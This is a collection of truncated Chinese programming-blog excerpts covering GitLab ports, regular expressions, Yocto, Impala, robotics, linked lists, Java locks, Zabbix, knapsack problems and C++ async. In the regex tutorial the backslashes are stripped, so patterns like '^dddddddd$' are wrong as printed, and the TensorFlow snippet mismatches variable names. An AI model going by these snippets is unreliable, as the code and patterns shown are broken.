gitlab启动成功访问失败

检查端口是否开放 如果没有开放端口就执行下面的 sudo firewall-cmd --add-port=8080/tcp --permanent (8080是端口号) sudo firewall-cmd --reload

史上最全正则表达式语法,文末附常用表达式!

废话少说,直接开始学习! 一、元字符 元字符是构造正则表达式的一种基本元素。 . :匹配除换行符以外的任意字符 w:匹配字母或数字或下划线或汉字 s:匹配任意的空白符 d:匹配数字 b:匹配单词的开始或结束 ^:匹配字符串的开始 $:匹配字符串的结束 匹配有abc开头的字符串:abc或者^abc 匹配8位数字的QQ号码:^dddddddd$ 匹配1开头11位数字的手机号码:^1dddddddddd$ 二、重复限定符 正则没提供办法处理这些重复的元字符吗?答案肯定是有的。 *:重复零次或更多次 +:重复一次或更多次 ?:重复零次或一次 {n}:重复n次 {n,}:重复n次或更多次 {n,m}:重复n到m次 有了这些限定符之后,我们就可以对之前的正则表达式进行改造了,比如: 匹配8位数字的QQ号码:^d{8}$ 匹配1开头11位数字的手机号码:^1d{10}$ 匹配银行卡号是14~18位的数字:^d{14,18}$ 匹配以a开头的,0个或多个b结尾的字符串^ab*$ 三、分组() 限定符是作用在与他左边最近的一个字符,那么问题来了,如果我想要ab同时被限定那怎么办呢? 正则表达式中用小括号()来做分组,也就是括号中的内容作为一个整体。 因此当我们要匹配多个ab时,我们可以这样。 如匹配字符串中包含0到多个ab开头:^(ab)* 四、转义 正则提供了转义的方式,也就是要把这些元字符、限定符或者关键字转义成普通的字符,做法很简答,就是在要转义的字符前面加个斜杠,也就是\即可。 匹配字符串中包含0到多个ab开头:^(\(ab\))* 五、条件或 | 回到我们刚才的手机号匹配,我们都知道:国内号码都来自三大网,它们都有属于自己的号段,比如联通有130/131/132/155/156/185/186/145/176等号段,假如让我们匹配一个联通的号码,那按照我们目前所学到的正则,应该无从下手的,因为这里包含了一些并列的条件,也就是“或”,那么在正则中是如何表示“或”的呢? 正则用符号 | 来表示或,也叫做分支条件,当满足正则里的分支条件的任何一种条件时,都会当成是匹配成功。 那么我们就可以用或条件来处理这个问题 ^(130|131|132|155|156|185|186|145|176)\d{8}$ 六、区间[ ] 看到上面的例子,是不是看到有什么规律?是不是还有一种想要简化的冲动? 实际是有的 正则提供一个元字符中括号 [] 来表示区间条件。 限定0到9 可以写成[0-9] 限定A-Z 写成[A-Z] 限定某些数字 [165] 那上面的正则我们还改成这样: ^((13[0-2])|(15[56])|(18[5-6])|145|176)\d{8}$ 七、正则进阶之零宽断言 断言:俗话的断言就是“我断定什么什么”,而正则中的断言,就是说正则可以指明在指定的内容的前面或后面会出现满足指定规则的内容, 意思正则也可以像人类那样断定什么什么,比如"ss1aa2bb3",正则可以用断言找出aa2前面有bb3,也可以找出aa2后面有ss1. 零宽:就是没有宽度,在正则中,断言只是匹配位置,不占字符,也就是说,匹配结果里是不会返回断言本身。 我们来举个栗子: 假设我们要用爬虫抓取csdn里的文章阅读量。通过查看源代码可以看到文章阅读量这个内容是这样的结构 "<span class="read-count">阅读数:641</span>" 其中也就‘641’这个是变量,也就是说不同文章不同的值,当我们拿到这个字符串时,需要获得这里边的‘641’有很多种办法,但如果正则应该怎么匹配呢?下面先来讲几种类型的断言: 正向先行断言(正前瞻): 语法:(?=pattern)

推荐大数据排名前六的公众号

今天给大家推荐的是数据类的原创公众号,这些公众号不仅内容优质,号的主人也都是一线大厂的大佬,为人也很亲和,强烈推荐大家关注!! 数据仓库与Python大数据 国内最具情怀的数据ers交流分享平台。 爱分享、爱交友。专注分享数据仓库、大数据和Python。从传统数仓到大数据,从离线到实时,涵盖数仓建模、数据分析、实战经验、ETL、BI、Python爬虫、SQL优化。这儿是数仓大佬们的集结地,在这里你会找到数仓er的归属感。我们不但会每天交流技术,也会定期分享资源。 单枪匹马,不如群狼作战!加入我们,一起成长、一起打怪! ▲长按识别弹出二维码关注 数据不吹牛 一个专注于原创,既有趣又实用的数据分析宝藏~ 定期更新脑洞型分析案例,像口红热门色号分析,数据脱单指南,脱发市场分析等等~ 还有系统Python数据分析教程和实战案例,最近的Pandas系列还热乎着呢。思维、数据源、代码一个都不会少~ 还在等啥,扫他一起来吹牛啊 ▲长按识别弹出二维码关注 趣味数据周刊 统计基础,高阶分析,机器学习 三大模块由浅入深的专业分享; 集聚了一群热爱数据,热爱分享,乐于互助的名校同学,职场英才们,一起砥砺前行; 同时有趣的实战分析文章,让你收获技巧,刷新认知。拥有数据思维,开启美好世界之门。 扫码关注,一起成为专业,互助,有趣的时代新秀吧!!! ▲长按识别弹出二维码关注 大叔据 这位大叔是互联网公司的大数据架构师,也是某机构特约大数据讲师。专注于大数据底层技术,包括分布式存储与计算等领域的研究。目前帮助过大量应届生拿下大厂offer;职场新人职业规划进阶;老鸟提高核心竞争力。如果你想学或者在学大数据,那一定不能错过这个公众号! ▲长按识别弹出二维码关注 凹凸玩数据 朱小五(互联网数据分析师)在这里原创写文章:有从零开始数据分析的基础知识,也有爬取-分析-可视化的“一条龙”实战。 文章不限于统计学、SQL、python、Excel、Tableau、可视化等知识。 凹凸玩数据,发车就差你了~ ▲长按识别弹出二维码关注 数据分析挖掘与算法 作者就职于某互联网公司,每天都在做百亿级大数据分析。老司机带你入门与实战数据分析挖掘与算法,主要包括数据分析工具Python,Mysql,Spark等,及各种算法和机器学习内容!。 ▲长按识别弹出二维码关注

yocto:bitbake单独编译某个模块的方法

在yocto编译环境中如果想单独编译某个模块 可以在已经搭建好的yocto编译环境中使用如下命令 Yocto中对于不同的Package,有不同的task,即可以执行不同的操作,有一些是所有包共通的,例如clean,build等。 我们可以使用下面命令来查看一个包都有哪些可执行的task: bitbake Package -c listtasks 如:bitbake core-image-weston -c listtasks 有以下结果: Initialising tasks: 100% |#################################################################################################################################################################| Time: 0:00:07 NOTE: Executing RunQueue Tasks do_build Default task for a recipe - depends on all other normal tasks required to 'build' a recipe do_checkuri Validates the SRC_URI value do_checkuriall Validates the SRC_URI value for all recipes required to build a target do_clean Removes all output files for a target do_cleanall Removes all output files, shared state cache, and downloaded source files for a target do_cleansstate Removes all output files and shared state cache for a target do_compile Compiles the source in the compilation directory do_configure Configures the source by enabling and disabling any build-time and configuration options for the software being built do_devpyshell Starts an interactive Python shell for development/debugging do_devshell Starts a shell with the environment set up for development/debugging do_dtv_checking do_fetch Fetches the source code do_fetchall Fetches all remote sources required to build a target do_image do_image_complete do_image_complete_setscene (setscene version) do_image_ext4 do_image_qa do_image_qa_setscene (setscene version) do_image_tar do_install Copies files from the compilation directory to a holding area do_listtasks Lists all defined tasks for a target do_package Analyzes the content of the holding area and splits it into subsets based on available packages and files do_package_qa_setscene Runs QA checks on packaged files (setscene version) do_package_setscene Analyzes the content of the holding area and splits it into subsets based on available packages and files (setscene version) do_package_write_rpm Creates the actual RPM packages and places them in the Package Feed area do_package_write_rpm_setscene Creates the actual RPM packages and places them in the Package Feed area (setscene version) do_packagedata Creates package metadata used by the build system to generate the final packages do_packagedata_setscene Creates package metadata used by the build system to generate the final packages (setscene version) do_patch Locates patch files and applies them to the source code do_populate_lic Writes license information for the recipe that is collected later when the image is constructed do_populate_lic_setscene Writes license information for the recipe that is collected later when the image is constructed (setscene version) do_populate_sdk Creates the file and directory structure for an installable SDK do_populate_sdk_ext do_populate_sysroot_setscene Copies a subset of files installed by do_install into the sysroot in order to make them available to other recipes (setscene version) do_prepare_recipe_sysroot do_rootfs Creates the root filesystem (file and directory structure) for an image do_rootfs_wicenv do_sdk_depends do_unpack Unpacks the source code into a working directory do_vp9_checking NOTE: Tasks Summary: Attempted 1 tasks of which 0 didn't need to be rerun and all succeeded.

Impala SQL语句 COMPUTE STATS

COMPUTE STATS 语句收集卷信息, 表列和分区的数据分布情况; 收集的信息存储在元数据库中,用于优化Impala查询; 例如,如果Impala能确定一张表是大还是小,表里有多少唯一值,就可以为join查询或插入操作组织和并行化工作线程; 实例 CDH 5.10 / Impala 2.8之后,可以对分区表使用COMPUTE INCREMENTAL STATS,以替代对全表或一次一个分区的操作;可以使用比较符匹配多个分区; 例如,表INT_PARTITIONS包含4个分区; > show partitions int_partitions; +-------+-------+--------+------+--------------+-------------------+---------+... | x | #Rows | #Files | Size | Bytes Cached | Cache Replication | Format |... +-------+-------+--------+------+--------------+-------------------+---------+... | 99 | -1 | 0 | 0B | NOT CACHED | NOT CACHED | PARQUET |... | 120 | -1 | 0 | 0B | NOT CACHED | NOT CACHED | TEXT |.

机器人学习笔记(1)导论

《机器人运动建模》 《机器人运动建模、规划、控制》 2019/10/15 1.1 机器人的数学模型 1.1.1 机器人的符号表示R表示转动关节,P表示平动关节。RRR表示带有三个转动关节的机械臂。Zi表示连接i和i+1连杆的关节轴线,或者平动关节的轴线。关节变量来表示两个相邻连杆间的相对运动。 1.1.2 位形空间机械臂的位形是指机械臂上各点位置的一个完整规范。所有位形的集合称为位形空间。一个物体的位形最少可以由n个参数来确定,则这个物体由n个自由度(degree of freedom)。自由度的数目等于位形空间的维度。对于一个机械臂而言一个关节对应一个自由度。一个处于三维空间的物体具有6个自由度:3个位置自由度和3个姿态自由度。一个的机械臂最少具有6个自由度。如果自由度小于6,手臂无法以任意的姿态到达工作空间中的每一点。大于6个自由度的机械臂称为运动学冗余机械臂。 1.1.3 状态空间位形为机械臂的集合结构提供一种瞬时的描述,但它与动态响应无关。状态是指这样的一组变量:结合机械臂的动力学描述以及未来输入,足以确定机械臂未来的时域响应。状态空间的指的是所有可能状态的集合。 1.1.4 工作空间一个机械臂的工作空间是指当机械臂执行所有可能动作时,其末端执行器扫过总体空间的体积。工作空间受限于几何机构以及关节上的机械限位。工作空间可分为可达空间和灵活空间。可达空间:指机械臂可以抵达到的所有点的集合。灵活空间:指机械臂可以以任意姿态抵达的所有点的集合。灵活空间是可达空间的一个子集。 1.2 机器人作为一种机械装置 1.2.1 机器人机械臂的分类 1、动力源 (a)液压驱动器有着其他方式无法比拟的响应速度以及扭矩性能,主要用于提取重物。主要的缺点是可能泄露液压油、更多的外围设备以及噪音。(b) 直流或交流电机驱动便宜,清洁、安静。 © 气动机器人成本不高结构简单,但是无法精确控制。 2、控制方法非伺服该类机器人基本上是开环的控制装置,运动范围受限于预先设置好的机械限位,并且它们主要用于运动材料。伺服该类型机器人采用闭环计算机控制来决定运动。根据控制器对末端执行器引导方法的不同,进一步分类为:点到点机器人:通过示教来设置一系列离散点,但末端执行器在这些点之间的轨迹不受控制。连续路径机器人:末端的执行器的整个路径都可以被控制。例如跟踪两点之间的直线段,此外,可以控制末端执行器的速度或加速度。 3、应用领域装配机器人和非装配机器人。装配应用和非装配应用之间的主要区别之一是:装配有较高的精度要求,这是因为在工作空间内的装配工件之间有显著的相互作用力。 4、几何结构关节型(RRR)、球坐标型(RRP),SCARA型(RRP),圆柱型(RPP)或者笛卡尔型(PPP).以上机械臂属于串联连杆。另外还有并联式机器人,在并联机器人中,连杆组成一个封闭而不是开放的运动链,相比串联机器人,它们的运动学更为复杂。 1.2.2 机器人 系统整个系统包括机械臂、外部动力源、手臂末端工具,外部和内部传感器,计算机接口以及控制计算机。 1.2.3 精度和重复精度精度是对机械臂能以何种接近程度到达工作空间内给定点的能力的一种度量。重复精度是对机械臂能以何种接近程度返回先前示教点的能力的一种度量。测量定位误差的主要方法是使用位于关节部位的编码器,通常不会对末端执行器的位置和姿态进行直接的测量,而是基于机械臂几何机构和刚体假设,根据测量的关节位置来计算末端执行器的位置。因此定位精度受到下列因素的影响:计算误差、机械臂制造过程的加工精度,机械连杆在重力或者负载作用下的柔性变形、齿轮间隙以及其他多种静态和动态因素。如果没有高刚度,机器人的精度的提高值能依赖于对末端执行器位置的直接的测量。 1.2.4 手腕和末端执行器(p17)普遍做法使用球形手腕,三个旋转轴相交于同一点,这一点称为手腕中心(腕心)。 1.3 常见的运动学配置 1.3.1关节型机械臂(RRR)关节型机械臂也称回转、肘或仿人机械臂。 转动关节的另一种设计是使用平行四边形连杆。(平行四边形连杆的灵活性比上述肘关节机械臂稍差)平行四边形连杆的特点是,其第三轴的驱动安装在第一个连杆处,由于电机的重量主要由连杆1承载,连杆2和连杆3可以制作得更为轻便,因而也降低了对电机驱动力的要求。另外,平行四边形机械臂的动力学比上述肘关节机械臂要简单,因而更容易控制。 1.3.2 球坐标机械臂(RRP)采用平动关节取代关节型机械臂的第三个关节即肘关节。球坐标机械臂:机器人的关节坐标与末端执行器相对于肩关节处坐标系的球面坐标重合。 1.3.3 SCARA型机械臂(RRP)专门从事装配操作。与球坐标机械臂不同,z0、z1、z2三者相互平行。 1.3.4 圆柱型机械臂(RPP)第一个关节产生一个围绕基座的旋转运动,而第二和第三关节为平动式。顾名思义,关节变量为末端执行器相对于基座的圆柱坐标。 1.3.5 笛卡尔型机械臂(PPP)也称直角坐标型,机械臂的前三个关节为平动式。笛卡尔型机械臂的关节变量对应着末端执行器相对底座的直角(笛卡尔)坐标。笛卡尔型机械臂适用于台式组装应用,也可做龙门机器人,用于材料或货物的转移。 1.3.6 并联机械臂并联机械臂是指其中某些连杆形成一个闭式运动链的机器人。(一个并联机械臂有两个或多个运动链将其底座和末端执行器连接起来。)并联机器人的闭式运动链可以极大的提高结构刚度,因而精度更高。 1.4 本书概要 1、正运动学已知关节角度来确定末端执行器或工具的位置和方向。习惯上建立一个固定的坐标系,称它为世界或基础坐标系,作为包括机械臂的所有物体的参考坐标系。 2、逆运动学已知末端执行器或工具的方向和位置求解关节的角度。 3、速度运动学 J称为机械臂的雅可比矩阵,它属于机械臂的一个亟待确定的基本量。雅可比矩阵行列式等于a1a2sin(θ2).当θ2=0或θ2=π时,该行列式不可逆,此时机械臂处于奇异位形。处于奇异位形时有无数种运动无法实现。奇异位形也与运动学逆解不唯一这种情况有联系。 4、路径规划和轨迹生成机器人控制问题按照层次分为三个任务:路径规划(设计曲线)、轨迹生成(表达曲线)、轨迹跟踪(跟踪曲线)。 5 独立关节控制 处理跟踪与抗扰的孪生问题,它是指确定跟随或跟踪参考轨迹所需要的控制输入,同时抵抗由于未建模的动态效应(如摩擦和噪声等因素)引起的干扰。下图是单输入/单输出反馈控制系统框图,即独立关节算法设计。 6 动力学拉格朗日动力学:可用于系统地推导刚性连杆机器人的运动方程。牛顿-欧拉递归:用来推导机器人的运动方程,适合于仿真和控制的实时计算。 7 多变量控制

数据结构系列之如何判断链表有环

给定一个链表,判断链表中是否有环。 为了表示给定链表中的环,我们使用证书pos来表示链表连接到链表中的位置(索引从0开始),如果pos是-1,则在该链表中没有环。 示例: 输入:head = [3,2,0,-4],pos = 1 输出:true 解释:链表中有一个环,其尾部连接到第二个节点 下面列举几种方法。 哈希表缓存 创建一个以节点id为key的HashSet集合,用来存储曾经遍历过的节点。然后同样是从头节点开始,依次遍历单链表的每一个节点。每遍历到一个新节点,就用新节点和HashSet集合中存储的节点比较,如果发现HashSet中存在相同的节点,说明链表有环;如果不存在,就把这个新节点存入HashSet,继续进入下一个节点,重复之前的操作。 这种方法与穷举遍历的方法类似,区别是使用了HashSet作为额外的缓存。 public boolean hasCycle(ListNode head){ Set<ListNode> nodes = new HashSet<>(); //如果当前节点为null,说明已经遍历完整个链表 while(head != null){ if(nodes.contains(head)){ return true; } else { nodes.add(head); } head = head.next; } return false; } 复杂度 时间复杂度:O(n),对于含有n个元素的链表,访问每个元素最多一次,添加一个节点到哈希表中只需要花费O(1)的时间。 空间复杂度:O(n),取决于添加到哈希表中的元素数目,最多可以添加n个元素。 快慢指针(双指针) 举个例子:在一个环形跑道上,两个运动员在同一地点起跑,一个运动员速度快,一个运动员速度慢。当连个人跑了一段时间之后,速度快的运动员必然会从速度慢的运动员身后再次追上并超过。原因很简单,因为跑道是环形的。 创建两个指针(在java中就是两个对象引用),同时指向这个链表的头结点。指针1每次向后移动一个节点,指针2每次向后移动两个节点,然后比较两个指针指向的节点是否相同。如果相同,说明链表有环;如果不同,继续往后走。 public boolean hasCycle(ListNode head){ if(head == null || head.next == null){ return false; } ListNode slow = head; ListNode fast = head.

tf.image.decode_jpeg(img).shape = (?,?,?)

tf.image.decode_jpeg(img).shape = (?,?,?) img_path = r'path/to/image' img_raw_data = tf.gfile.FastGFile(img_path,'rb').read() img_data = tf.image.decode_jpeg(img_raw_data) with tf.Session() as sess: shape = sess.run(image_data).shape if you use the shape = img_data.shape . it will return bug shape =(?,?,?)

四六级报名ETEST注册失败注意事项

最近想报六级口语,但是在注册ETEST通行证的时候一直提示这个错误: 找了好久发现有以下几个问题需要注意: 密码要包含特殊字符密码中不能有.符号,不然就一直报上面这个错误,因此想用邮箱做密码的小伙伴们要注意了注意位数 此外,可能还会遇到显示学籍库无匹配的问题,这个时候可以参考一下这个回答:

python程序使用pyinstaller打包带图标

cmd打开命令行 pip install pyinstaller 在生成图表ico文件 生成ico链接 进入到py文件目录 目录下会生成dist文件,里面有exe 命令行运行,因为如果没有input之类的,会一闪而过 我这是制作了一个搜索图片的exe

Android内存(RAM)大小信息查看、获取方法和内存分配方法

内存信息查看 Android手机的内存大小信息存放在手机系统的 /proc/meminfo 文件里面,我们可以通过读取这个文件来获取内存信息。 使用 cmd 命令行打开终端或直接在 Android Studio 中使用命令终端,运行 adb 命令可以看到文件详细内容如下所示: C:\Users\YZJ>adb shell sagit:/ $ cat /proc/meminfo MemTotal: 5861796 kB MemFree: 86060 kB MemAvailable: 2236400 kB Buffers: 83668 kB Cached: 2069156 kB SwapCached: 13432 kB Active: 2440572 kB Inactive: 1487968 kB Active(anon): 1437024 kB Inactive(anon): 471244 kB Active(file): 1003548 kB Inactive(file): 1016724 kB Unevictable: 130564 kB Mlocked: 130564 kB SwapTotal: 2621436 kB SwapFree: 1846508 kB Dirty: 152 kB Writeback: 0 kB AnonPages: 1899920 kB Mapped: 661984 kB Shmem: 2520 kB Slab: 408472 kB SReclaimable: 161756 kB SUnreclaim: 246716 kB KernelStack: 70960 kB PageTables: 95204 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 5552332 kB Committed_AS: 104783600 kB VmallocTotal: 258867136 kB VmallocUsed: 0 kB VmallocChunk: 0 kB CmaTotal: 163840 kB CmaFree: 128 kB 下面介绍常见的几项:

并发编程系列之深入理解Synchronized关键字

Java内存模型内存间交互操作 在介绍synchronized之前先简单的介绍一下JMM的交互操作 Java内存模型定义了8个操作来完成主内存和工作内存的交互操作。 read:把一个变量的值从主内存传输到工作内存中load:在read之后执行,把read得到的值放入工作内存的变量副本中use:把工作内存中一个变量的值传递给执行引擎assign:把一个从执行引擎接收到的值赋给工作内存的变量store:把工作内存的一个变量的值传送到主内存中write:在store之后执行,把store得到的值放入主内存的变量中lock:作用于主内存的变量unlock synchronized synchronized的底层是使用操作系统的mutex lock实现的。 内存可见性: 同步块的可见性是由“如果对一个变量执行lock操作,将会清空工作内存中此变量的值,在执行引擎使用这个变量前需要重新执行load或assign操作初始化变量的值”、“对一个变量执行unlock操作之前,必须先把此变量同步回主内存中(执行store和write操作)”这两条规则获得的。 操作原子性: 持有同一个锁的两个同步块只能串行地进入 锁的内存语义 当线程释放锁时,JMM会把该线程对应的本地内存中的共享变量刷新到主内存中当线程获取锁时,JMM会把线程对应的本地内存置为无效。从而使得监视器保护的临界区代码必须从主内存中读取共享变量 ##锁释放和锁获取的内存语义线程A释放一个锁,实质上是线程A向接下来将要获取这个锁的某个线程发出了(线程A对共享变量所做修改的)消息。线程B获取一个锁,实质上是线程B接收了之前某个线程发出的(在释放这个锁之前对共享变量所做修改的)消息。线程A释放锁,随后线程B获取这个锁,这个过程实质上是线程A通过主内存向线程B发送消息 synchronized锁 synchronized锁的是对象的头。 JVM基于进入和退出Monitor对象来实现方法同步和代码块同步。代码块同步是使用monitorenter和monitorexit指令实现的,monitorenter指令是在编译后插入到同步代码块的开始位置,而monitorexit是插入到方法结束处和异常处。任何对象都有一个monitor与之关联,当且一个monitor被持有后,它将处于锁定状态。 根据虚拟机规范的要求,在执行monitorenter指令时,首先要去尝试获取对象的锁,如果这个对象没被锁定,或者当前线程已经有用了那个对象的锁,把锁的计数器加1;相应地,在执行monitorexit指令时会将锁计数器减1,当计数器被减到0时,锁就释放了。如果获取对象锁失败了,那当前线程就要阻塞等待,直到对象锁被另一个线程释放 Mutex Lock 监视器锁(Monitor)本质是依赖于底层的操作系统的Mutex Lock(互斥锁)来实现的。每个对象都对应一个可称为“互斥锁”的标记,这个标记用来保证在任一时刻,只能有一个线程访问该对象。 互斥锁:用于保护临界区,确保同一时间只有一个线程访问数据。对共享资源的访问,先对互斥量进行加锁,如果互斥量已经上锁,调用线程会阻塞,直到互斥量被解锁。在完成了对共享资源的访问后,要对互斥量进行解锁。 synchronized的使用场景 分类被锁住的对象伪代码方法实例方法类的实例对象//实例方法,锁住的是该类的实例对象public synchronized void method(){ ……}静态方法类对象//静态方法,锁住的是类对象public static synchronized void method(){ ……}代码块实例对象类的实例对象//同步代码块,锁住的是该类的实例对象synchronized(this){ ……}class对象类对象//同步代码块,锁住的是该类的类对象synchronized(xxx.class){ ……}任意实例对象Object实例对象Object//同步代码块,锁住的是配置的实例对象//String对象作为对象锁String lock = "";synchronized(lock){ ……} Java对象保存在内存中的组成 1.对象头 2.实例数据 3.对其填充字节 对象头 java的对象头由以下三部分组成: 1.Mark Word2.指向类的指针3.数组长度(只有数组对象才有) Mark Word Mark Word记录了对象和锁有关的信息,当这个对象被synchronized关键字当成同步锁时,围绕这个锁的一系列操作都和Mark Word有关。 Mark Word在32位JVM中的长度是32bit,在64位JVM中长度是64bit。 Mark Word在不同的锁状态下存储的内容不同,在32位JVM中是这么存的: 其中无锁和偏向锁的锁标志位都是01,只是在前面的1bit区分了这是无锁状态还是偏向锁状态 PS:JDK1.6以后的版本在处理同步锁时存在锁升级的概念,JVM对于同步锁的处理是从偏向锁开始的,随着竞争越来越激烈,处理方式从偏向锁升级到轻量级锁,最终升级到重量级锁。 指向类的指针 该指针在32位JVM中的长度是32bit,在64位的JVM中的长度是64bit。 数组长度 只有数组对象保存了这部分数据。该数据再32位和64位JVM中的长度都是32bit。 实例数据 在java代码中能看到的属性及其值。 ##对齐填充字节 因为JVM要求java对象所占的内存大小是8bit的倍数,所以后面有几个字节用于把对象的大小补全至8bit的倍数。 synchronized锁的升级 下面通过一张图来看一下synchronized锁升级的过程(图片来自网络)。

zabbix_server服务启动时错误

zabbix_server服务启动时提示以下错误: 记录问题以便以后少走弯路 每次尝试重启zabbix_server都能正常启动,就是看不到10051端口 using configuration file: /usr/local/zabbix/etc/zabbix_server.conf zabbix_server [14745]: Is this process already running? Could not lock PID file [/tmp/zabbix_server.pid]: [11] Resource temporarily unavailable 14708:20191023:082149.295 [Z3001] connection to database 'zabbix' failed: [2003] Can't connect to MySQL server on 'master' (110) 14708:20191023:082149.295 database is down: reconnecting in 10 seconds 此问题解决方法说出来让人傻笑,我先说说我的排错过程吧 第一步: 根据提示,无法连接到数据库。修改了授权,授权账号也能正常登入数据库,授权没问题 第二部: 使用了telnet尝试,telnet到数据库的端口3306,登入正常,数据库没问题 第三部: 检查zabbix_server.conf 配置文件,一遍一遍,看了不下10遍,没有问题 第三部:网络上找方法,尝试了几个,没效果 emmmm。。。 2小时后,突然想到了hosts文件,结果一查果然是这个问题

python字典的items()方法

python新手学字典的时候只知道字典的增删查改,殊不知还有一个items()方法呢~~~~来看看他是怎么回事吧! 首先对他的描述是:python字典items()函数以列表返回可遍历的(键值)元组数组。 其次语法:dict.items() 最后返回值:返回可遍历的(键值)元组数组 上大菜来个例子: 从上面的例子可以看出dict.items()这个函数的返回值是列表套着元组,元组里面是该字典的键和值。(其实最好呢是加上一个list内置函数。) 从这个方法遍历的时候会打印出key和value的值。 别看这个方法微不足道,关键时候可是有大用处呢!!! 来来来,有能力的试试这个,觉得自己差点的可以研究研究哦~~~~~~ d = {‘a’:{‘b’:{‘c’:{‘d’:‘h’,‘j’:‘i’,‘o’:{‘p’:‘q’,‘r’:‘s’},‘t’:‘u’}},‘v’:{‘w’:{‘x’:{‘y’:‘z’}}}},‘e’:{‘f’:{‘i’:‘k’},‘m’:‘n’}} 在练习的时候不要忘了我们今天的重点是什么哦!! 是字典中的items()方法。

死锁的四个必要条件?

产生死锁的原因主要是: 因为系统资源不足。进程运行推进的顺序不合适。资源分配不当等。 如果系统资源充足,进程的资源请求都能够得到满足,死锁出现的可能性就很低,否则就会因争夺有限的资源而陷入死锁。其次,进程运行推进顺序与速度不同,也可能产生死锁。 产生死锁的四个必要条件: 互斥条件:一个资源每次只能被一个进程使用。请求与保持条件:一个进程因请求资源而阻塞时,对已获得的资源保持不放。不剥夺条件:进程已获得的资源,在末使用完之前,不能强行剥夺。循环等待条件:若干进程之间形成一种头尾相接的循环等待资源关系。 这四个条件是死锁的必要条件,只要系统发生死锁,这些条件必然成立,而只要上述条件之一不满足,就不会发生死锁。 死锁的解除与预防: 理解了死锁的原因,尤其是产生死锁的四个必要条件,就可以最大可能地避免、预防和解除死锁。 所以,在系统设计、进程调度等方面注意如何不让这四个必要条件成立,如何确定资源的合理分配算法,避免进程永久占据系统资源。 此外,也要防止进程在处于等待状态的情况下占用资源。 因此,对资源的分配要给予合理的规划。

调整数组使差最小 (01背包问题变形)(一个数组分成同大小部分或一个数组分成不同大小两部分)

最近看到两道背包问题变形的题目,形式很相似,做个总结。 01背包问题:在n个物体中向容量为V的背包中放,第i个物体的体积为C[i],其价值为W[i],如何选取使得背包中的物体总价值最大。(注意i是从1开始) 问题1:将数组分为两部分,不要求两部分元素个数一致,使得两部分的和最接近,返回两部分的差值。例如: int[] array={1,0,1,7,2,4},分为两部分为{1,0,1,2,4},{7},差值为1。 思路:两部分和最接近,那么两部分的和尽量向sum(array)/2靠拢。也就是从array中选取若干个元素,使得选取的元素和尽量靠近sum(array)/2。 抽象成背包问题为:在n个物体中向容量为sum(array)/2的背包中放东西,每个东西的体积为array[i],价值为array[i],如何选取物体使得背包中的总价值最大。 有人就问了,让背包中的总价值最大,超过了sum(array)/2怎么办? 仔细想想就知道不会如此了,因为有V=sum(array)/2控制着,放了体积多大的东西,就贡献了多大的价值,体积是无法超过sum(array)/2,那么总价值也不会超过sum(array)/2。所以抽象背包问题的实际含义为如何选取物体使得物体中的总价值最接近sum(array)/2。 状态转移方程和01背包的状态转移方程一样: dp[i][v]的意思便是前i个元素放入容量为v的背包中的最大价值。 dp[n][sum(array)/2] 便是其中一个部分的和,两个部分之间的差为 sum(array) - 2*dp[n][sum(array)/2] 观察到转移方程的右边dp的第一个维度都是i-1,我们可以考虑压缩空间,也就是利用滚动数组进行优化空间,优化后的状态转移方程为: 这时dp[v]可以理解为容量是v的背包可以获得的最大价值 问题2: Description 有两个序列 a,b,大小都为 n,序列元素的值任意整数,无序; 要求:通过交换 a,b 中的元素,使[序列 a 元素的和]与[序列 b 元素的和]之间的差最小。 Input 输入第一行为用例个数, 每个测试用例输入为两行,分别为两个数组,每个值用空格隔开。 Output 输出变化之后的两个数组内元素和的差绝对值。 Sample Input 1 Sample Output 1 1 48 100 99 98 1 2 3 1 2 3 4 5 40 思路:这题相对于上一题变化更大。我们假设a,b两个序列是一个序列array,那么问题就是将序列array划分为元素个数相同的两个部分,且两个部分之间的差最小。也就是从2n个数中选取n个数,使得选取的数的和尽量靠近sum(array)/2。(c是合并之后的序列) 抽象成背包问题为:从2n个物体中选取n个物体,将n个物体放入体积为sum(array)/2的背包中,物体体积为c[i],价值为c[i],如何选取这n个物体使得选取的物体总价值最大。 这个问题相对于上一个问题多了一个条件:选取的物体数量必须是总数量的一半。 我们可以将物体数量看作物体的另一个费用维度,现在的物体的费用也就是个数和体积两个维度。再次阐述问题为:从2n个物体中选取若干个物体,将物体放入体积为sum(array)/2且只能容纳n个物体的背包中,物体i体积为c[i],个数为1(定值),价值为c[i],如何选取物体使得选取的物体总价值最大。 状态转移方程: dp[i][j][v]表示在前i个物体中将j个物体放入到容量为v的背包中所获得的最大价值。其中dp[2n][n][sum(array)/2]便是其中一个划分部分的和。 同样可以用滚动数组优化: dp[j][v]表示在容量为v的背包中,最多选 j 件时可以得到的最大价值。 代码: tips:优化后的代码和未优化后的代码的区别、代码中用的是array[i-1]、最外层循环起始值 问题1 方程1 代码:

C++多线程高并发,thread()和async()的区别

std::thread有可能计算机资源紧张,执行失败,而std::async(std::launch::async,mehtodName)强制创建一个线程 但是我们一般不叫std::async()创建线程,而是创建一个异步任务,有的时候async并不创建新的线程 1)如果用std::launch::deferred,延迟调用,使用get时进行,但是没有创建新的线程2)如果用std::launch::async,创建新的线程3)如果用std::launch::async | std::launch::defferred,系统自行决定使用哪一种4)如果不适用额外的参数,效果默认为3),系统自行决定 一个程序里一般不能超过100~200个线程 问题: 怎么解决std::future myFuture = std::async(threadEntryFunc2),这种写法到底有没有推迟执行呢? 使用future的wait_for函数,等待0秒,返回一个std::future_status对象, 即可根据对象的参数判断执行的情况,详细解释,如下连接 C++多线程高并发 future_status,std::shared_future(std::future只能get一次的问题) std::future_status<int> myStatus = myFuture.wait_for(std::chrono::milesconds(0)); //可以通过status判断, std::future_status::deferred,future_status::timeout,future_status::ready

【人脸识别】根据关键点进行人脸姿态估计

